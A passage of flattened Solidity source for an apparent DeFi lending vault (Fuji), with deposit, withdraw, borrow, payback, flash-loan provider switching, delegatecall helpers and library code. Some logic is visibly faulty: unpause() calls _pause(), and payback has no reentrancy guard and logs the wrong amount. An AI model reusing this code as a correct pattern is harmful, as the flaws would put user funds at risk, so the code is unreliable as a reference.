IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.collateralID, _collateralAmount, "");
emit Deposit(msg.sender, vAssets.collateralAsset, _collateralAmount);
}
/**
* @dev Withdraws Vault's type collateral from activeProvider
* call Controller checkrates
* @param _withdrawAmount: amount of collateral to withdraw
* otherwise pass -1 to withdraw maximum amount possible of collateral (including safety factors)
* Emits a {Withdraw} event.
*/
function withdraw(int256 _withdrawAmount) public override nonReentrant {
// If call from Normal User do typical, otherwise Fliquidator
if (msg.sender != _fujiAdmin.getFliquidator()) {
updateF1155Balances();
// Get User Collateral in this Vault
uint256 providedCollateral =
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);
// Check User has collateral
require(providedCollateral > 0, Errors.VL_INVALID_COLLATERAL);
// Get Required Collateral with Factors to maintain debt position healthy
uint256 neededCollateral =
getNeededCollateralFor(
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID),
true
);
uint256 amountToWithdraw =
_withdrawAmount < 0 ? providedCollateral.sub(neededCollateral) : uint256(_withdrawAmount);
// Check Withdrawal amount, and that it will not fall undercollaterized.
require(
amountToWithdraw != 0 && providedCollateral.sub(amountToWithdraw) >= neededCollateral,
Errors.VL_INVALID_WITHDRAW_AMOUNT
);
// Collateral Management before Withdraw Operation
IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.collateralID, amountToWithdraw);
// Delegate Call Withdraw to current provider
_withdraw(amountToWithdraw, address(activeProvider));
// Transer Assets to User
IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, amountToWithdraw);
emit Withdraw(msg.sender, vAssets.collateralAsset, amountToWithdraw);
} else {
// Logic used when called by Fliquidator
_withdraw(uint256(_withdrawAmount), address(activeProvider));
IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, uint256(_withdrawAmount));
}
}
/**
* @dev Borrows Vault's type underlying amount from activeProvider
* @param _borrowAmount: token amount of underlying to borrow
* Emits a {Borrow} event.
*/
function borrow(uint256 _borrowAmount) public override nonReentrant {
updateF1155Balances();
uint256 providedCollateral =
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);
// Get Required Collateral with Factors to maintain debt position healthy
uint256 neededCollateral =
getNeededCollateralFor(
_borrowAmount.add(IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID)),
true
);
// Check Provided Collateral is not Zero, and greater than needed to maintain healthy position
require(
_borrowAmount != 0 && providedCollateral > neededCollateral,
Errors.VL_INVALID_BORROW_AMOUNT
);
// Debt Management
IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.borrowID, _borrowAmount, "");
// Delegate Call Borrow to current provider
_borrow(_borrowAmount, address(activeProvider));
// Transer Assets to User
IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _borrowAmount);
emit Borrow(msg.sender, vAssets.borrowAsset, _borrowAmount);
}
/**
* @dev Paybacks Vault's type underlying to activeProvider
* @param _repayAmount: token amount of underlying to repay, or pass -1 to repay full ammount
* Emits a {Repay} event.
*/
function payback(int256 _repayAmount) public payable override {
// If call from Normal User do typical, otherwise Fliquidator
if (msg.sender != _fujiAdmin.getFliquidator()) {
updateF1155Balances();
uint256 userDebtBalance = IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID);
// Check User Debt is greater than Zero and amount is not Zero
require(_repayAmount != 0 && userDebtBalance > 0, Errors.VL_NO_DEBT_TO_PAYBACK);
// TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt
// If passed argument amount is negative do MAX
uint256 amountToPayback = _repayAmount < 0 ? userDebtBalance : uint256(_repayAmount);
// Check User Allowance
require(
IERC20(vAssets.borrowAsset).allowance(msg.sender, address(this)) >= amountToPayback,
Errors.VL_MISSING_ERC20_ALLOWANCE
);
// Transfer Asset from User to Vault
IERC20(vAssets.borrowAsset).transferFrom(msg.sender, address(this), amountToPayback);
// Delegate Call Payback to current provider
_payback(amountToPayback, address(activeProvider));
//TODO: Transfer corresponding Debt Amount to Fuji Treasury
// Debt Management
IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.borrowID, amountToPayback);
emit Payback(msg.sender, vAssets.borrowAsset, userDebtBalance);
} else {
// Logic used when called by Fliquidator
_payback(uint256(_repayAmount), address(activeProvider));
}
}
/**
* @dev Changes Vault debt and collateral to newProvider, called by Flasher
* @param _newProvider new provider's address
* @param _flashLoanAmount amount of flashloan underlying to repay Flashloan
* Emits a {Switch} event.
*/
function executeSwitch(
address _newProvider,
uint256 _flashLoanAmount,
uint256 fee
) external override onlyFlash whenNotPaused {
// Compute Ratio of transfer before payback
uint256 ratio =
_flashLoanAmount.mul(1e18).div(
IProvider(activeProvider).getBorrowBalance(vAssets.borrowAsset)
);
// Payback current provider
_payback(_flashLoanAmount, activeProvider);
// Withdraw collateral proportional ratio from current provider
uint256 collateraltoMove =
IProvider(activeProvider).getDepositBalance(vAssets.collateralAsset).mul(ratio).div(1e18);
_withdraw(collateraltoMove, activeProvider);
// Deposit to the new provider
_deposit(collateraltoMove, _newProvider);
// Borrow from the new provider, borrowBalance + premium
_borrow(_flashLoanAmount.add(fee), _newProvider);
// return borrowed amount to Flasher
IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _flashLoanAmount.add(fee));
emit Switch(address(this), activeProvider, _newProvider, _flashLoanAmount, collateraltoMove);
}
//Setter, change state functions
/**
* @dev Sets the fujiAdmin Address
* @param _newFujiAdmin: FujiAdmin Contract Address
*/
function setFujiAdmin(address _newFujiAdmin) public onlyOwner {
_fujiAdmin = IFujiAdmin(_newFujiAdmin);
}
/**
* @dev Sets a new active provider for the Vault
* @param _provider: fuji address of the new provider
* Emits a {SetActiveProvider} event.
*/
function setActiveProvider(address _provider) external override isAuthorized {
activeProvider = _provider;
emit SetActiveProvider(_provider);
}
//Administrative functions
/**
* @dev Sets a fujiERC1155 Collateral and Debt Asset manager for this vault and initializes it.
* @param _fujiERC1155: fuji ERC1155 address
*/
function setFujiERC1155(address _fujiERC1155) external isAuthorized {
fujiERC1155 = _fujiERC1155;
vAssets.collateralID = IFujiERC1155(_fujiERC1155).addInitializeAsset(
IFujiERC1155.AssetType.collateralToken,
address(this)
);
vAssets.borrowID = IFujiERC1155(_fujiERC1155).addInitializeAsset(
IFujiERC1155.AssetType.debtToken,
address(this)
);
}
/**
* @dev Set Factors "a" and "b" for a Struct Factor
* For safetyF; Sets Safety Factor of Vault, should be > 1, a/b
* For collatF; Sets Collateral Factor of Vault, should be > 1, a/b
* @param _newFactorA: Nominator
* @param _newFactorB: Denominator
* @param _isSafety: safetyF or collatF
*/
function setFactor(
uint64 _newFactorA,
uint64 _newFactorB,
bool _isSafety
) external isAuthorized {
if (_isSafety) {
safetyF.a = _newFactorA;
safetyF.b = _newFactorB;
} else {
collatF.a = _newFactorA;
collatF.b = _newFactorB;
}
}
/**
* @dev Sets the Oracle address (Must Comply with AggregatorV3Interface)
* @param _oracle: new Oracle address
*/
function setOracle(address _oracle) external isAuthorized {
oracle = AggregatorV3Interface(_oracle);
}
/**
* @dev Set providers to the Vault
* @param _providers: new providers' addresses
*/
function setProviders(address[] calldata _providers) external isAuthorized {
providers = _providers;
}
/**
* @dev External Function to call updateState in F1155
*/
function updateF1155Balances() public override {
uint256 borrowBals;
uint256 depositBals;
// take into account all balances across providers
uint256 length = providers.length;
for (uint256 i = 0; i < length; i++) {
borrowBals = borrowBals.add(IProvider(providers[i]).getBorrowBalance(vAssets.borrowAsset));
}
for (uint256 i = 0; i < length; i++) {
depositBals = depositBals.add(
IProvider(providers[i]).getDepositBalance(vAssets.collateralAsset)
);
}
IFujiERC1155(fujiERC1155).updateState(vAssets.borrowID, borrowBals);
IFujiERC1155(fujiERC1155).updateState(vAssets.collateralID, depositBals);
}
//Getter Functions
/**
* @dev Returns an array of the Vault's providers
*/
function getProviders() external view override returns (address[] memory) {
return providers;
}
/**
* @dev Returns an amount to be paid as bonus for liquidation
* @param _amount: Vault underlying type intended to be liquidated
* @param _flash: Flash or classic type of liquidation, bonus differs
*/
function getLiquidationBonusFor(uint256 _amount, bool _flash)
external
view
override
returns (uint256)
{
if (_flash) {
// Bonus Factors for Flash Liquidation
(uint64 a, uint64 b) = _fujiAdmin.getBonusFlashL();
return _amount.mul(a).div(b);
} else {
//Bonus Factors for Normal Liquidation
(uint64 a, uint64 b) = _fujiAdmin.getBonusLiq();
return _amount.mul(a).div(b);
}
}
/**
* @dev Returns the amount of collateral needed, including or not safety factors
* @param _amount: Vault underlying type intended to be borrowed
* @param _withFactors: Inidicate if computation should include safety_Factors
*/
function getNeededCollateralFor(uint256 _amount, bool _withFactors)
public
view
override
returns (uint256)
{
// Get price of DAI in ETH
(, int256 latestPrice, , , ) = oracle.latestRoundData();
uint256 minimumReq = (_amount.mul(1e12).mul(uint256(latestPrice))).div(_BASE);
if (_withFactors) {
return minimumReq.mul(collatF.a).mul(safetyF.a).div(collatF.b).div(safetyF.b);
} else {
return minimumReq;
}
}
/**
* @dev Returns the borrow balance of the Vault's underlying at a particular provider
* @param _provider: address of a provider
*/
function borrowBalance(address _provider) external view override returns (uint256) {
return IProvider(_provider).getBorrowBalance(vAssets.borrowAsset);
}
/**
* @dev Returns the deposit balance of the Vault's type collateral at a particular provider
* @param _provider: address of a provider
*/
function depositBalance(address _provider) external view override returns (uint256) {
return IProvider(_provider).getDepositBalance(vAssets.collateralAsset);
}
/**
* @dev Harvests the Rewards from baseLayer Protocols
* @param _farmProtocolNum: number per VaultHarvester Contract for specific farm
*/
function harvestRewards(uint256 _farmProtocolNum) public onlyOwner {
address tokenReturned =
IVaultHarvester(_fujiAdmin.getVaultHarvester()).collectRewards(_farmProtocolNum);
uint256 tokenBal = IERC20(tokenReturned).balanceOf(address(this));
require(tokenReturned != address(0) && tokenBal > 0, Errors.VL_HARVESTING_FAILED);
IERC20(tokenReturned).uniTransfer(payable(_fujiAdmin.getTreasury()), tokenBal);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
pragma experimental ABIEncoderV2;
interface IVault {
// Events
// Log Users Deposit
event Deposit(address indexed userAddrs, address indexed asset, uint256 amount);
// Log Users withdraw
event Withdraw(address indexed userAddrs, address indexed asset, uint256 amount);
// Log Users borrow
event Borrow(address indexed userAddrs, address indexed asset, uint256 amount);
// Log Users debt repay
event Payback(address indexed userAddrs, address indexed asset, uint256 amount);
// Log New active provider
event SetActiveProvider(address providerAddr);
// Log Switch providers
event Switch(
address vault,
address fromProviderAddrs,
address toProviderAddr,
uint256 debtamount,
uint256 collattamount
);
// Core Vault Functions
function deposit(uint256 _collateralAmount) external payable;
function withdraw(int256 _withdrawAmount) external;
function borrow(uint256 _borrowAmount) external;
function payback(int256 _repayAmount) external payable;
function executeSwitch(
address _newProvider,
uint256 _flashLoanDebt,
uint256 _fee
) external;
//Getter Functions
function activeProvider() external view returns (address);
function borrowBalance(address _provider) external view returns (uint256);
function depositBalance(address _provider) external view returns (uint256);
function getNeededCollateralFor(uint256 _amount, bool _withFactors)
external
view
returns (uint256);
function getLiquidationBonusFor(uint256 _amount, bool _flash) external view returns (uint256);
function getProviders() external view returns (address[] memory);
function fujiERC1155() external view returns (address);
//Setter Functions
function setActiveProvider(address _provider) external;
function updateF1155Balances() external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { Pausable } from "@openzeppelin/contracts/utils/Pausable.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
contract VaultControl is Ownable, Pausable {
using SafeMath for uint256;
using UniERC20 for IERC20;
//Asset Struct
struct VaultAssets {
address collateralAsset;
address borrowAsset;
uint64 collateralID;
uint64 borrowID;
}
//Vault Struct for Managed Assets
VaultAssets public vAssets;
//Pause Functions
/**
* @dev Emergency Call to stop all basic money flow functions.
*/
function pause() public onlyOwner {
_pause();
}
/**
* @dev Emergency Call to stop all basic money flow functions.
*/
function unpause() public onlyOwner {
_pause();
}
}
contract VaultBase is VaultControl {
// Internal functions
/**
* @dev Executes deposit operation with delegatecall.
* @param _amount: amount to be deposited
* @param _provider: address of provider to be used
*/
function _deposit(uint256 _amount, address _provider) internal {
bytes memory data =
abi.encodeWithSignature("deposit(address,uint256)", vAssets.collateralAsset, _amount);
_execute(_provider, data);
}
/**
* @dev Executes withdraw operation with delegatecall.
* @param _amount: amount to be withdrawn
* @param _provider: address of provider to be used
*/
function _withdraw(uint256 _amount, address _provider) internal {
bytes memory data =
abi.encodeWithSignature("withdraw(address,uint256)", vAssets.collateralAsset, _amount);
_execute(_provider, data);
}
/**
* @dev Executes borrow operation with delegatecall.
* @param _amount: amount to be borrowed
* @param _provider: address of provider to be used
*/
function _borrow(uint256 _amount, address _provider) internal {
bytes memory data =
abi.encodeWithSignature("borrow(address,uint256)", vAssets.borrowAsset, _amount);
_execute(_provider, data);
}
/**
* @dev Executes payback operation with delegatecall.
* @param _amount: amount to be paid back
* @param _provider: address of provider to be used
*/
function _payback(uint256 _amount, address _provider) internal {
bytes memory data =
abi.encodeWithSignature("payback(address,uint256)", vAssets.borrowAsset, _amount);
_execute(_provider, data);
}
/**
* @dev Returns byte response of delegatcalls
*/
function _execute(address _target, bytes memory _data)
internal
whenNotPaused
returns (bytes memory response)
{
/* solhint-disable */
assembly {
let succeeded := delegatecall(sub(gas(), 5000), _target, add(_data, 0x20), mload(_data), 0, 0)
let size := returndatasize()
response := mload(0x40)
mstore(0x40, add(response, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(response, size)
returndatacopy(add(response, 0x20), 0, size)
switch iszero(succeeded)
case 1 {
// throw if delegatecall failed
revert(add(response, 0x20), size)
}
}
/* solhint-disable */
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12 <0.8.0;
interface IFujiAdmin {
function validVault(address _vaultAddr) external view returns (bool);
function getFlasher() external view returns (address);
function getFliquidator() external view returns (address);
function getController() external view returns (address);
function getTreasury() external view returns (address payable);
function getaWhiteList() external view returns (address);
function getVaultHarvester() external view returns (address);
function getBonusFlashL() external view returns (uint64, uint64);
function getBonusLiq() external view returns (uint64, uint64);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
pragma experimental ABIEncoderV2;
interface IFujiERC1155 {
//Asset Types
enum AssetType {
//uint8 = 0
collateralToken,
//uint8 = 1
debtToken
}
//General Getter Functions
function getAssetID(AssetType _type, address _assetAddr) external view returns (uint256);
function qtyOfManagedAssets() external view returns (uint64);
function balanceOf(address _account, uint256 _id) external view returns (uint256);
//function splitBalanceOf(address account,uint256 _AssetID) external view returns (uint256,uint256);
//function balanceOfBatchType(address account, AssetType _Type) external view returns (uint256);
//Permit Controlled Functions
function mint(
address _account,
uint256 _id,
uint256 _amount,
bytes memory _data
) external;
function burn(
address _account,
uint256 _id,
uint256 _amount
) external;
function updateState(uint256 _assetID, uint256 _newBalance) external;
function addInitializeAsset(AssetType _type, address _addr) external returns (uint64);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.0;
interface IProvider {
//Basic Core Functions
function deposit(address _collateralAsset, uint256 _collateralAmount) external payable;
function borrow(address _borrowAsset, uint256 _borrowAmount) external payable;
function withdraw(address _collateralAsset, uint256 _collateralAmount) external payable;
function payback(address _borrowAsset, uint256 _borrowAmount) external payable;
// returns the borrow annualized rate for an asset in ray (1e27)
//Example 8.5% annual interest = 0.085 x 10^27 = 85000000000000000000000000 or 85*(10**24)
function getBorrowRateFor(address _asset) external view returns (uint256);
function getBorrowBalance(address _asset) external view returns (uint256);
function getDepositBalance(address _asset) external view returns (uint256);
function getBorrowBalanceOf(address _asset, address _who) external returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12 <0.8.0;
interface IAlphaWhiteList {
function whiteListRoutine(
address _usrAddrs,
uint64 _assetId,
uint256 _amount,
address _erc1155
) external returns (bool);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity <0.8.0;
/**
* @title Errors library
* @author Fuji
* @notice Defines the error messages emitted by the different contracts of the Aave protocol
* @dev Error messages prefix glossary:
* - VL = Validation Logic 100 series
* - MATH = Math libraries 200 series
* - RF = Refinancing 300 series
* - VLT = vault 400 series
* - SP = Special 900 series
*/
library Errors {
//Errors
string public constant VL_INDEX_OVERFLOW = "100"; // index overflows uint128
string public constant VL_INVALID_MINT_AMOUNT = "101"; //invalid amount to mint
string public constant VL_INVALID_BURN_AMOUNT = "102"; //invalid amount to burn
string public constant VL_AMOUNT_ERROR = "103"; //Input value >0, and for ETH msg.value and amount shall match
string public constant VL_INVALID_WITHDRAW_AMOUNT = "104"; //Withdraw amount exceeds provided collateral, or falls undercollaterized
string public constant VL_INVALID_BORROW_AMOUNT = "105"; //Borrow amount does not meet collaterization
string public constant VL_NO_DEBT_TO_PAYBACK = "106"; //Msg sender has no debt amount to be payback
string public constant VL_MISSING_ERC20_ALLOWANCE = "107"; //Msg sender has not approved ERC20 full amount to transfer
string public constant VL_USER_NOT_LIQUIDATABLE = "108"; //User debt position is not liquidatable
string public constant VL_DEBT_LESS_THAN_AMOUNT = "109"; //User debt is less than amount to partial close
string public constant VL_PROVIDER_ALREADY_ADDED = "110"; // Provider is already added in Provider Array
string public constant VL_NOT_AUTHORIZED = "111"; //Not authorized
string public constant VL_INVALID_COLLATERAL = "112"; //There is no Collateral, or Collateral is not in active in vault
string public constant VL_NO_ERC20_BALANCE = "113"; //User does not have ERC20 balance
string public constant VL_INPUT_ERROR = "114"; //Check inputs. For ERC1155 batch functions, array sizes should match.
string public constant VL_ASSET_EXISTS = "115"; //Asset intended to be added already exists in FujiERC1155
string public constant VL_ZERO_ADDR_1155 = "116"; //ERC1155: balance/transfer for zero address
string public constant VL_NOT_A_CONTRACT = "117"; //Address is not a contract.
string public constant VL_INVALID_ASSETID_1155 = "118"; //ERC1155 Asset ID is invalid.
string public constant VL_NO_ERC1155_BALANCE = "119"; //ERC1155: insufficient balance for transfer.
string public constant VL_MISSING_ERC1155_APPROVAL = "120"; //ERC1155: transfer caller is not owner nor approved.
string public constant VL_RECEIVER_REJECT_1155 = "121"; //ERC1155Receiver rejected tokens
string public constant VL_RECEIVER_CONTRACT_NON_1155 = "122"; //ERC1155: transfer to non ERC1155Receiver implementer
string public constant VL_OPTIMIZER_FEE_SMALL = "123"; //Fuji OptimizerFee has to be > 1 RAY (1e27)
string public constant VL_UNDERCOLLATERIZED_ERROR = "124"; // Flashloan-Flashclose cannot be used when User's collateral is worth less than intended debt position to close.
string public constant VL_MINIMUM_PAYBACK_ERROR = "125"; // Minimum Amount payback should be at least Fuji Optimizerfee accrued interest.
string public constant VL_HARVESTING_FAILED = "126"; // Harvesting Function failed, check provided _farmProtocolNum or no claimable balance.
string public constant VL_FLASHLOAN_FAILED = "127"; // Flashloan failed
string public constant MATH_DIVISION_BY_ZERO = "201";
string public constant MATH_ADDITION_OVERFLOW = "202";
string public constant MATH_MULTIPLICATION_OVERFLOW = "203";
string public constant RF_NO_GREENLIGHT = "300"; // Conditions for refinancing are not met, greenLight, deltaAPRThreshold, deltatimestampThreshold
string public constant RF_INVALID_RATIO_VALUES = "301"; // Ratio Value provided is invalid, _ratioA/_ratioB <= 1, and > 0, or activeProvider borrowBalance = 0
string public constant RF_CHECK_RATES_FALSE = "302"; //Check Rates routine returned False
string public constant VLT_CALLER_MUST_BE_VAULT = "401"; // The caller of this function must be a vault
string public constant SP_ALPHA_WHITELIST = "901"; // One ETH cap value for Alpha Version < 1 ETH
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
